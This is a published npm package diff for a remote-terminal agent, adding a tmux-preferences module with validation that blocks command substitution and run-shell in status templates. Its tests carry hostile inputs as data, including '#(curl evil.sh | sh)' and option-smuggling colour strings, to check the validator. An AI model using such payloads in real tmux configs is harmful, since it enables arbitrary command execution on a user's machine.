@indianic/dialout 1.3.1 → 1.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,65 @@
1
+ export interface TmuxStatusPrefs {
2
+ enabled: boolean;
3
+ position: 'top' | 'bottom';
4
+ bg: string;
5
+ fg: string;
6
+ left: string;
7
+ right: string;
8
+ }
9
+ export interface TmuxPrefs {
10
+ /**
11
+ * 'native-select' turns mouse reporting OFF, so the terminal emulator keeps
12
+ * its own drag-select, Cmd+C and Cmd+V. The cost is that the wheel no longer
13
+ * scrolls tmux history (prefix + [ does). 'tmux' is the pre-2026-09 behaviour.
14
+ *
15
+ * Browser sessions override this back to `on` per session, because a browser
16
+ * tab has no native selection of a remote pane to fall back on.
17
+ */
18
+ mouse: 'native-select' | 'tmux';
19
+ /** How the cowork rc block execs tmux. 'auto' resolves to 'normal' for now. */
20
+ attachMode: 'auto' | 'control' | 'normal';
21
+ historyLimit: number;
22
+ status: TmuxStatusPrefs;
23
+ }
24
+ export declare const STATUS_TOKENS: string[];
25
+ export declare const DEFAULT_TMUX_PREFS: TmuxPrefs;
26
+ /**
27
+ * Compile a status template to a tmux format string.
28
+ *
29
+ * A tmux config can execute shell — `#(...)` is command substitution and
30
+ * `run-shell` runs a command outright — so this is an injection surface with
31
+ * exactly the shape TOKEN_RE defends in the agent's cowork.ts. Once these
32
+ * templates arrive over the network from a browser, it is the only thing
33
+ * between a settings form and arbitrary command execution on a developer's
34
+ * machine.
35
+ *
36
+ * Rejecting rather than escaping is deliberate for those two: no legitimate
37
+ * status bar needs either, and an escape that is one tmux release out of date
38
+ * fails open. The quote is escaped rather than rejected because a user may
39
+ * reasonably want one.
40
+ */
41
+ export declare function compileStatusTemplate(template: string): string;
42
+ /** True when a status template is safe to store and render. */
43
+ export declare function isValidStatusTemplate(template: string): boolean;
44
+ export declare function isValidTmuxColor(value: string): boolean;
45
+ /** Longest status template we will store. Long enough for a real bar, short
46
+ * enough that nobody pastes a script into it. */
47
+ export declare const MAX_STATUS_TEMPLATE = 200;
48
+ /**
49
+ * Merge stored prefs over the defaults, validating as we go.
50
+ *
51
+ * Deliberately not a spread. `status` is nested, so `{...DEFAULT, ...stored}`
52
+ * would replace the whole status object and wipe every key the caller did not
53
+ * name. And an invalid value must fall back rather than reach tmux: a bad
54
+ * `mouse` string would render `set-option -g mouse sideways`, which tmux
55
+ * rejects — costing that line silently, since source-file warns and continues
56
+ * rather than aborting.
57
+ *
58
+ * Total: any input shape is accepted and a complete, valid TmuxPrefs comes out.
59
+ * That is what lets the same function guard a config file on disk and a JSON
60
+ * body from a browser.
61
+ */
62
+ export declare function resolveTmuxPrefs(input?: {
63
+ tmux?: unknown;
64
+ } | null | undefined): TmuxPrefs;
65
+ //# sourceMappingURL=tmux-prefs.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"tmux-prefs.d.ts","sourceRoot":"","sources":["../src/tmux-prefs.ts"],"names":[],"mappings":"AAWA,MAAM,WAAW,eAAe;IAC9B,OAAO,EAAE,OAAO,CAAC;IACjB,QAAQ,EAAE,KAAK,GAAG,QAAQ,CAAC;IAC3B,EAAE,EAAE,MAAM,CAAC;IACX,EAAE,EAAE,MAAM,CAAC;IACX,IAAI,EAAE,MAAM,CAAC;IACb,KAAK,EAAE,MAAM,CAAC;CACf;AAED,MAAM,WAAW,SAAS;IACxB;;;;;;;OAOG;IACH,KAAK,EAAE,eAAe,GAAG,MAAM,CAAC;IAChC,+EAA+E;IAC/E,UAAU,EAAE,MAAM,GAAG,SAAS,GAAG,QAAQ,CAAC;IAC1C,YAAY,EAAE,MAAM,CAAC;IACrB,MAAM,EAAE,eAAe,CAAC;CACzB;AAeD,eAAO,MAAM,aAAa,UAA6B,CAAC;AAExD,eAAO,MAAM,kBAAkB,EAAE,SAchC,CAAC;AAEF;;;;;;;;;;;;;;GAcG;AACH,wBAAgB,qBAAqB,CAAC,QAAQ,EAAE,MAAM,GAAG,MAAM,CAa9D;AAED,+DAA+D;AAC/D,wBAAgB,qBAAqB,CAAC,QAAQ,EAAE,MAAM,GAAG,OAAO,CAO/D;AAOD,wBAAgB,gBAAgB,CAAC,KAAK,EAAE,MAAM,GAAG,OAAO,CAEvD;AAED;kDACkD;AAClD,eAAO,MAAM,mBAAmB,MAAM,CAAC;AAEvC;;;;;;;;;;;;;GAaG;AACH,wBAAgB,gBAAgB,CAAC,KAAK,GAAE;IAAE,IAAI,CAAC,EAAE,OAAO,CAAA;CAAE,GAAG,IAAI,GAAG,SAAc,GAAG,SAAS,CA2B7F"}
@@ -0,0 +1,132 @@
1
+ "use strict";
2
+ // tmux preferences: the shape, the defaults, and the validation.
3
+ //
4
+ // Shared because THREE places need the same answer and any drift between them
5
+ // is a bug: the agent renders these into ~/.dialout/tmux.conf, the settings API
6
+ // validates what a browser sends before storing it, and the settings UI shows
7
+ // the same choices. The agent's own option list already existed twice once and
8
+ // silently drifted; this is the same mistake one layer up, so it is prevented
9
+ // rather than watched for.
10
+ //
11
+ // Rendering itself stays in the agent — only it produces a tmux file.
12
+ Object.defineProperty(exports, "__esModule", { value: true });
13
+ exports.MAX_STATUS_TEMPLATE = exports.DEFAULT_TMUX_PREFS = exports.STATUS_TOKENS = void 0;
14
+ exports.compileStatusTemplate = compileStatusTemplate;
15
+ exports.isValidStatusTemplate = isValidStatusTemplate;
16
+ exports.isValidTmuxColor = isValidTmuxColor;
17
+ exports.resolveTmuxPrefs = resolveTmuxPrefs;
18
+ // Status template tokens, compiled to tmux formats so nobody has to learn tmux
19
+ // format syntax to restyle the bar.
20
+ const TOKEN_FORMATS = {
21
+ // #{b:...} is tmux's own basename modifier, so the folder tracks a cd.
22
+ folder: '#{b:pane_current_path}',
23
+ path: '#{pane_current_path}',
24
+ session: '#{session_name}',
25
+ window: '#{window_name}',
26
+ title: '#{=21:pane_title}',
27
+ time: '%H:%M',
28
+ date: '%d-%b-%y',
29
+ };
30
+ exports.STATUS_TOKENS = Object.keys(TOKEN_FORMATS);
31
+ exports.DEFAULT_TMUX_PREFS = {
32
+ mouse: 'native-select',
33
+ attachMode: 'auto',
34
+ historyLimit: 100000,
35
+ status: {
36
+ enabled: true,
37
+ position: 'bottom',
38
+ // tmux's own default is bg=green,fg=black. Kept so an upgrade does not
39
+ // silently restyle a bar the user never asked to change.
40
+ bg: 'green',
41
+ fg: 'black',
42
+ left: '[[session]] ',
43
+ right: '[title] [time] [date]',
44
+ },
45
+ };
46
+ /**
47
+ * Compile a status template to a tmux format string.
48
+ *
49
+ * A tmux config can execute shell — `#(...)` is command substitution and
50
+ * `run-shell` runs a command outright — so this is an injection surface with
51
+ * exactly the shape TOKEN_RE defends in the agent's cowork.ts. Once these
52
+ * templates arrive over the network from a browser, it is the only thing
53
+ * between a settings form and arbitrary command execution on a developer's
54
+ * machine.
55
+ *
56
+ * Rejecting rather than escaping is deliberate for those two: no legitimate
57
+ * status bar needs either, and an escape that is one tmux release out of date
58
+ * fails open. The quote is escaped rather than rejected because a user may
59
+ * reasonably want one.
60
+ */
61
+ function compileStatusTemplate(template) {
62
+ const text = String(template);
63
+ if (text.includes('#(')) {
64
+ throw new Error('command substitution "#(" is not allowed in a status template');
65
+ }
66
+ if (/run-shell/i.test(text)) {
67
+ throw new Error('"run-shell" is not allowed in a status template');
68
+ }
69
+ // Escape backslash first, then the quote, or the escapes escape each other.
70
+ const escaped = text.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
71
+ // An unknown [token] is left verbatim: silently dropping it would make a typo
72
+ // look like the setting had no effect.
73
+ return escaped.replace(/\[([a-z]+)\]/g, (whole, name) => TOKEN_FORMATS[name] ?? whole);
74
+ }
75
+ /** True when a status template is safe to store and render. */
76
+ function isValidStatusTemplate(template) {
77
+ try {
78
+ compileStatusTemplate(template);
79
+ return true;
80
+ }
81
+ catch {
82
+ return false;
83
+ }
84
+ }
85
+ // tmux colours: a named colour, colourN, or #rrggbb. Anything else would be
86
+ // interpolated straight into `status-style`, where a stray comma or quote is a
87
+ // second option rather than a colour.
88
+ const COLOR_RE = /^(#[0-9a-fA-F]{6}|colou?r\d{1,3}|[a-z]{3,12})$/;
89
+ function isValidTmuxColor(value) {
90
+ return COLOR_RE.test(String(value || ''));
91
+ }
92
+ /** Longest status template we will store. Long enough for a real bar, short
93
+ * enough that nobody pastes a script into it. */
94
+ exports.MAX_STATUS_TEMPLATE = 200;
95
+ /**
96
+ * Merge stored prefs over the defaults, validating as we go.
97
+ *
98
+ * Deliberately not a spread. `status` is nested, so `{...DEFAULT, ...stored}`
99
+ * would replace the whole status object and wipe every key the caller did not
100
+ * name. And an invalid value must fall back rather than reach tmux: a bad
101
+ * `mouse` string would render `set-option -g mouse sideways`, which tmux
102
+ * rejects — costing that line silently, since source-file warns and continues
103
+ * rather than aborting.
104
+ *
105
+ * Total: any input shape is accepted and a complete, valid TmuxPrefs comes out.
106
+ * That is what lets the same function guard a config file on disk and a JSON
107
+ * body from a browser.
108
+ */
109
+ function resolveTmuxPrefs(input = {}) {
110
+ const stored = (input && typeof input === 'object' ? input.tmux : null) || {};
111
+ const status = (stored && typeof stored === 'object' ? stored.status : null) || {};
112
+ const oneOf = (value, allowed, fallback) => (allowed.includes(value) ? value : fallback);
113
+ const text = (value, fallback, valid) => (typeof value === 'string' && value.length <= exports.MAX_STATUS_TEMPLATE && valid(value)
114
+ ? value
115
+ : fallback);
116
+ return {
117
+ mouse: oneOf(stored.mouse, ['native-select', 'tmux'], exports.DEFAULT_TMUX_PREFS.mouse),
118
+ attachMode: oneOf(stored.attachMode, ['auto', 'control', 'normal'], exports.DEFAULT_TMUX_PREFS.attachMode),
119
+ historyLimit: Number.isInteger(stored.historyLimit)
120
+ && stored.historyLimit > 0 && stored.historyLimit <= 1_000_000
121
+ ? stored.historyLimit
122
+ : exports.DEFAULT_TMUX_PREFS.historyLimit,
123
+ status: {
124
+ enabled: typeof status.enabled === 'boolean' ? status.enabled : exports.DEFAULT_TMUX_PREFS.status.enabled,
125
+ position: oneOf(status.position, ['top', 'bottom'], exports.DEFAULT_TMUX_PREFS.status.position),
126
+ bg: text(status.bg, exports.DEFAULT_TMUX_PREFS.status.bg, isValidTmuxColor),
127
+ fg: text(status.fg, exports.DEFAULT_TMUX_PREFS.status.fg, isValidTmuxColor),
128
+ left: text(status.left, exports.DEFAULT_TMUX_PREFS.status.left, isValidStatusTemplate),
129
+ right: text(status.right, exports.DEFAULT_TMUX_PREFS.status.right, isValidStatusTemplate),
130
+ },
131
+ };
132
+ }
@@ -30,3 +30,9 @@ export { FUNCTION_KEYS_PREF, getFunctionKeysVisible, setFunctionKeysVisible } fr
30
30
 
31
31
  export type { TerminalNameVars } from './terminal-name';
32
32
  export { DEFAULT_TERMINAL_TEMPLATE, TERMINAL_NAME_TOKENS, factsFromSession, renderTerminalName } from './terminal-name';
33
+
34
+ export type { TmuxPrefs, TmuxStatusPrefs } from './tmux-prefs';
35
+ export {
36
+ DEFAULT_TMUX_PREFS, STATUS_TOKENS, MAX_STATUS_TEMPLATE,
37
+ compileStatusTemplate, isValidStatusTemplate, isValidTmuxColor, resolveTmuxPrefs,
38
+ } from './tmux-prefs';
@@ -0,0 +1,113 @@
1
+ import { describe, it, expect } from 'vitest';
2
+ import {
3
+ resolveTmuxPrefs, compileStatusTemplate, isValidStatusTemplate, isValidTmuxColor,
4
+ DEFAULT_TMUX_PREFS, STATUS_TOKENS, MAX_STATUS_TEMPLATE,
5
+ } from './tmux-prefs';
6
+
7
+ describe('resolveTmuxPrefs', () => {
8
+ it('returns the defaults for an empty input', () => {
9
+ expect(resolveTmuxPrefs({})).toEqual(DEFAULT_TMUX_PREFS);
10
+ });
11
+
12
+ // The same function guards a config file on disk and a JSON body from a
13
+ // browser, so every shape of garbage has to come out as valid prefs.
14
+ it('survives null, undefined and non-objects', () => {
15
+ expect(resolveTmuxPrefs(null)).toEqual(DEFAULT_TMUX_PREFS);
16
+ expect(resolveTmuxPrefs(undefined)).toEqual(DEFAULT_TMUX_PREFS);
17
+ expect(resolveTmuxPrefs({ tmux: 'not an object' } as any)).toEqual(DEFAULT_TMUX_PREFS);
18
+ expect(resolveTmuxPrefs({ tmux: 42 } as any)).toEqual(DEFAULT_TMUX_PREFS);
19
+ });
20
+
21
+ it('overrides only what it names', () => {
22
+ const prefs = resolveTmuxPrefs({ tmux: { mouse: 'tmux' } });
23
+ expect(prefs.mouse).toBe('tmux');
24
+ expect(prefs.historyLimit).toBe(DEFAULT_TMUX_PREFS.historyLimit);
25
+ });
26
+
27
+ // status is nested; a shallow spread would wipe the siblings.
28
+ it('keeps unnamed status siblings', () => {
29
+ const prefs = resolveTmuxPrefs({ tmux: { status: { bg: 'colour238' } } });
30
+ expect(prefs.status.bg).toBe('colour238');
31
+ expect(prefs.status.fg).toBe(DEFAULT_TMUX_PREFS.status.fg);
32
+ expect(prefs.status.enabled).toBe(DEFAULT_TMUX_PREFS.status.enabled);
33
+ });
34
+
35
+ it('falls back rather than passing an unknown enum through to tmux', () => {
36
+ expect(resolveTmuxPrefs({ tmux: { mouse: 'sideways' } }).mouse).toBe('native-select');
37
+ expect(resolveTmuxPrefs({ tmux: { attachMode: 'telepathy' } }).attachMode).toBe('auto');
38
+ expect(resolveTmuxPrefs({ tmux: { status: { position: 'sideways' } } }).status.position)
39
+ .toBe('bottom');
40
+ });
41
+
42
+ it('rejects a non-integer, negative or absurd history limit', () => {
43
+ for (const bad of ['lots', -1, 0, 1.5, 10_000_000, null]) {
44
+ expect(resolveTmuxPrefs({ tmux: { historyLimit: bad } }).historyLimit)
45
+ .toBe(DEFAULT_TMUX_PREFS.historyLimit);
46
+ }
47
+ expect(resolveTmuxPrefs({ tmux: { historyLimit: 5000 } }).historyLimit).toBe(5000);
48
+ });
49
+
50
+ // The one that matters once a browser can send this: a template carrying
51
+ // command substitution must never be stored.
52
+ it('rejects a status template containing command substitution', () => {
53
+ const prefs = resolveTmuxPrefs({ tmux: { status: { left: '#(curl evil.sh | sh)' } } });
54
+ expect(prefs.status.left).toBe(DEFAULT_TMUX_PREFS.status.left);
55
+ });
56
+
57
+ it('rejects a status template containing run-shell', () => {
58
+ const prefs = resolveTmuxPrefs({ tmux: { status: { right: 'x run-shell "id"' } } });
59
+ expect(prefs.status.right).toBe(DEFAULT_TMUX_PREFS.status.right);
60
+ });
61
+
62
+ it('rejects an over-long status template', () => {
63
+ const long = 'a'.repeat(MAX_STATUS_TEMPLATE + 1);
64
+ expect(resolveTmuxPrefs({ tmux: { status: { left: long } } }).status.left)
65
+ .toBe(DEFAULT_TMUX_PREFS.status.left);
66
+ });
67
+
68
+ it('rejects a colour that is not a colour', () => {
69
+ for (const bad of ['red,fg=black', 'green"', '#zzzzzz', 'rgb(1,2,3)', '']) {
70
+ expect(resolveTmuxPrefs({ tmux: { status: { bg: bad } } }).status.bg)
71
+ .toBe(DEFAULT_TMUX_PREFS.status.bg);
72
+ }
73
+ });
74
+
75
+ it('accepts the colour forms tmux understands', () => {
76
+ for (const good of ['green', 'colour238', 'color12', '#1a56db']) {
77
+ expect(resolveTmuxPrefs({ tmux: { status: { bg: good } } }).status.bg).toBe(good);
78
+ }
79
+ });
80
+ });
81
+
82
+ describe('compileStatusTemplate', () => {
83
+ it('compiles every advertised token to something else', () => {
84
+ for (const token of STATUS_TOKENS) {
85
+ expect(compileStatusTemplate(`[${token}]`)).not.toBe(`[${token}]`);
86
+ }
87
+ });
88
+
89
+ it('leaves an unknown token verbatim rather than dropping it', () => {
90
+ expect(compileStatusTemplate('[nonsense]')).toBe('[nonsense]');
91
+ });
92
+
93
+ it('escapes a quote so it cannot end the emitted tmux string', () => {
94
+ expect(compileStatusTemplate('say "hi"')).not.toMatch(/(?<!\\)"/);
95
+ });
96
+
97
+ it('throws on command substitution and run-shell', () => {
98
+ expect(() => compileStatusTemplate('#(id)')).toThrow(/not allowed/i);
99
+ expect(() => compileStatusTemplate('run-shell id')).toThrow(/not allowed/i);
100
+ });
101
+ });
102
+
103
+ describe('validators', () => {
104
+ it('isValidStatusTemplate mirrors compileStatusTemplate', () => {
105
+ expect(isValidStatusTemplate('[folder]')).toBe(true);
106
+ expect(isValidStatusTemplate('#(id)')).toBe(false);
107
+ });
108
+
109
+ it('isValidTmuxColor rejects anything that could inject a second option', () => {
110
+ expect(isValidTmuxColor('green')).toBe(true);
111
+ expect(isValidTmuxColor('green,fg=red')).toBe(false);
112
+ });
113
+ });
@@ -0,0 +1,162 @@
1
+ // tmux preferences: the shape, the defaults, and the validation.
2
+ //
3
+ // Shared because THREE places need the same answer and any drift between them
4
+ // is a bug: the agent renders these into ~/.dialout/tmux.conf, the settings API
5
+ // validates what a browser sends before storing it, and the settings UI shows
6
+ // the same choices. The agent's own option list already existed twice once and
7
+ // silently drifted; this is the same mistake one layer up, so it is prevented
8
+ // rather than watched for.
9
+ //
10
+ // Rendering itself stays in the agent — only it produces a tmux file.
11
+
12
+ export interface TmuxStatusPrefs {
13
+ enabled: boolean;
14
+ position: 'top' | 'bottom';
15
+ bg: string;
16
+ fg: string;
17
+ left: string;
18
+ right: string;
19
+ }
20
+
21
+ export interface TmuxPrefs {
22
+ /**
23
+ * 'native-select' turns mouse reporting OFF, so the terminal emulator keeps
24
+ * its own drag-select, Cmd+C and Cmd+V. The cost is that the wheel no longer
25
+ * scrolls tmux history (prefix + [ does). 'tmux' is the pre-2026-09 behaviour.
26
+ *
27
+ * Browser sessions override this back to `on` per session, because a browser
28
+ * tab has no native selection of a remote pane to fall back on.
29
+ */
30
+ mouse: 'native-select' | 'tmux';
31
+ /** How the cowork rc block execs tmux. 'auto' resolves to 'normal' for now. */
32
+ attachMode: 'auto' | 'control' | 'normal';
33
+ historyLimit: number;
34
+ status: TmuxStatusPrefs;
35
+ }
36
+
37
+ // Status template tokens, compiled to tmux formats so nobody has to learn tmux
38
+ // format syntax to restyle the bar.
39
+ const TOKEN_FORMATS: Record<string, string> = {
40
+ // #{b:...} is tmux's own basename modifier, so the folder tracks a cd.
41
+ folder: '#{b:pane_current_path}',
42
+ path: '#{pane_current_path}',
43
+ session: '#{session_name}',
44
+ window: '#{window_name}',
45
+ title: '#{=21:pane_title}',
46
+ time: '%H:%M',
47
+ date: '%d-%b-%y',
48
+ };
49
+
50
+ export const STATUS_TOKENS = Object.keys(TOKEN_FORMATS);
51
+
52
+ export const DEFAULT_TMUX_PREFS: TmuxPrefs = {
53
+ mouse: 'native-select',
54
+ attachMode: 'auto',
55
+ historyLimit: 100000,
56
+ status: {
57
+ enabled: true,
58
+ position: 'bottom',
59
+ // tmux's own default is bg=green,fg=black. Kept so an upgrade does not
60
+ // silently restyle a bar the user never asked to change.
61
+ bg: 'green',
62
+ fg: 'black',
63
+ left: '[[session]] ',
64
+ right: '[title] [time] [date]',
65
+ },
66
+ };
67
+
68
+ /**
69
+ * Compile a status template to a tmux format string.
70
+ *
71
+ * A tmux config can execute shell — `#(...)` is command substitution and
72
+ * `run-shell` runs a command outright — so this is an injection surface with
73
+ * exactly the shape TOKEN_RE defends in the agent's cowork.ts. Once these
74
+ * templates arrive over the network from a browser, it is the only thing
75
+ * between a settings form and arbitrary command execution on a developer's
76
+ * machine.
77
+ *
78
+ * Rejecting rather than escaping is deliberate for those two: no legitimate
79
+ * status bar needs either, and an escape that is one tmux release out of date
80
+ * fails open. The quote is escaped rather than rejected because a user may
81
+ * reasonably want one.
82
+ */
83
+ export function compileStatusTemplate(template: string): string {
84
+ const text = String(template);
85
+ if (text.includes('#(')) {
86
+ throw new Error('command substitution "#(" is not allowed in a status template');
87
+ }
88
+ if (/run-shell/i.test(text)) {
89
+ throw new Error('"run-shell" is not allowed in a status template');
90
+ }
91
+ // Escape backslash first, then the quote, or the escapes escape each other.
92
+ const escaped = text.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
93
+ // An unknown [token] is left verbatim: silently dropping it would make a typo
94
+ // look like the setting had no effect.
95
+ return escaped.replace(/\[([a-z]+)\]/g, (whole, name) => TOKEN_FORMATS[name] ?? whole);
96
+ }
97
+
98
+ /** True when a status template is safe to store and render. */
99
+ export function isValidStatusTemplate(template: string): boolean {
100
+ try {
101
+ compileStatusTemplate(template);
102
+ return true;
103
+ } catch {
104
+ return false;
105
+ }
106
+ }
107
+
108
+ // tmux colours: a named colour, colourN, or #rrggbb. Anything else would be
109
+ // interpolated straight into `status-style`, where a stray comma or quote is a
110
+ // second option rather than a colour.
111
+ const COLOR_RE = /^(#[0-9a-fA-F]{6}|colou?r\d{1,3}|[a-z]{3,12})$/;
112
+
113
+ export function isValidTmuxColor(value: string): boolean {
114
+ return COLOR_RE.test(String(value || ''));
115
+ }
116
+
117
+ /** Longest status template we will store. Long enough for a real bar, short
118
+ * enough that nobody pastes a script into it. */
119
+ export const MAX_STATUS_TEMPLATE = 200;
120
+
121
+ /**
122
+ * Merge stored prefs over the defaults, validating as we go.
123
+ *
124
+ * Deliberately not a spread. `status` is nested, so `{...DEFAULT, ...stored}`
125
+ * would replace the whole status object and wipe every key the caller did not
126
+ * name. And an invalid value must fall back rather than reach tmux: a bad
127
+ * `mouse` string would render `set-option -g mouse sideways`, which tmux
128
+ * rejects — costing that line silently, since source-file warns and continues
129
+ * rather than aborting.
130
+ *
131
+ * Total: any input shape is accepted and a complete, valid TmuxPrefs comes out.
132
+ * That is what lets the same function guard a config file on disk and a JSON
133
+ * body from a browser.
134
+ */
135
+ export function resolveTmuxPrefs(input: { tmux?: unknown } | null | undefined = {}): TmuxPrefs {
136
+ const stored = (input && typeof input === 'object' ? (input as any).tmux : null) || {};
137
+ const status = (stored && typeof stored === 'object' ? stored.status : null) || {};
138
+ const oneOf = <T extends string>(value: unknown, allowed: readonly T[], fallback: T): T =>
139
+ ((allowed as readonly unknown[]).includes(value) ? value as T : fallback);
140
+ const text = (value: unknown, fallback: string, valid: (v: string) => boolean): string =>
141
+ (typeof value === 'string' && value.length <= MAX_STATUS_TEMPLATE && valid(value)
142
+ ? value
143
+ : fallback);
144
+
145
+ return {
146
+ mouse: oneOf(stored.mouse, ['native-select', 'tmux'] as const, DEFAULT_TMUX_PREFS.mouse),
147
+ attachMode: oneOf(stored.attachMode, ['auto', 'control', 'normal'] as const,
148
+ DEFAULT_TMUX_PREFS.attachMode),
149
+ historyLimit: Number.isInteger(stored.historyLimit)
150
+ && stored.historyLimit > 0 && stored.historyLimit <= 1_000_000
151
+ ? stored.historyLimit
152
+ : DEFAULT_TMUX_PREFS.historyLimit,
153
+ status: {
154
+ enabled: typeof status.enabled === 'boolean' ? status.enabled : DEFAULT_TMUX_PREFS.status.enabled,
155
+ position: oneOf(status.position, ['top', 'bottom'] as const, DEFAULT_TMUX_PREFS.status.position),
156
+ bg: text(status.bg, DEFAULT_TMUX_PREFS.status.bg, isValidTmuxColor),
157
+ fg: text(status.fg, DEFAULT_TMUX_PREFS.status.fg, isValidTmuxColor),
158
+ left: text(status.left, DEFAULT_TMUX_PREFS.status.left, isValidStatusTemplate),
159
+ right: text(status.right, DEFAULT_TMUX_PREFS.status.right, isValidStatusTemplate),
160
+ },
161
+ };
162
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@indianic/dialout",
3
- "version": "1.3.1",
3
+ "version": "1.4.0",
4
4
  "description": "Dialout agent — reach your office, home or build machine from any browser or phone. Remote tmux terminals, live port checks, filesystem browsing, process control and HTTP tunnels. The agent dials out: no inbound ports, no VPN, no port forwarding.",
5
5
  "bin": {
6
6
  "dialout": "./bin/devdash-agent.js"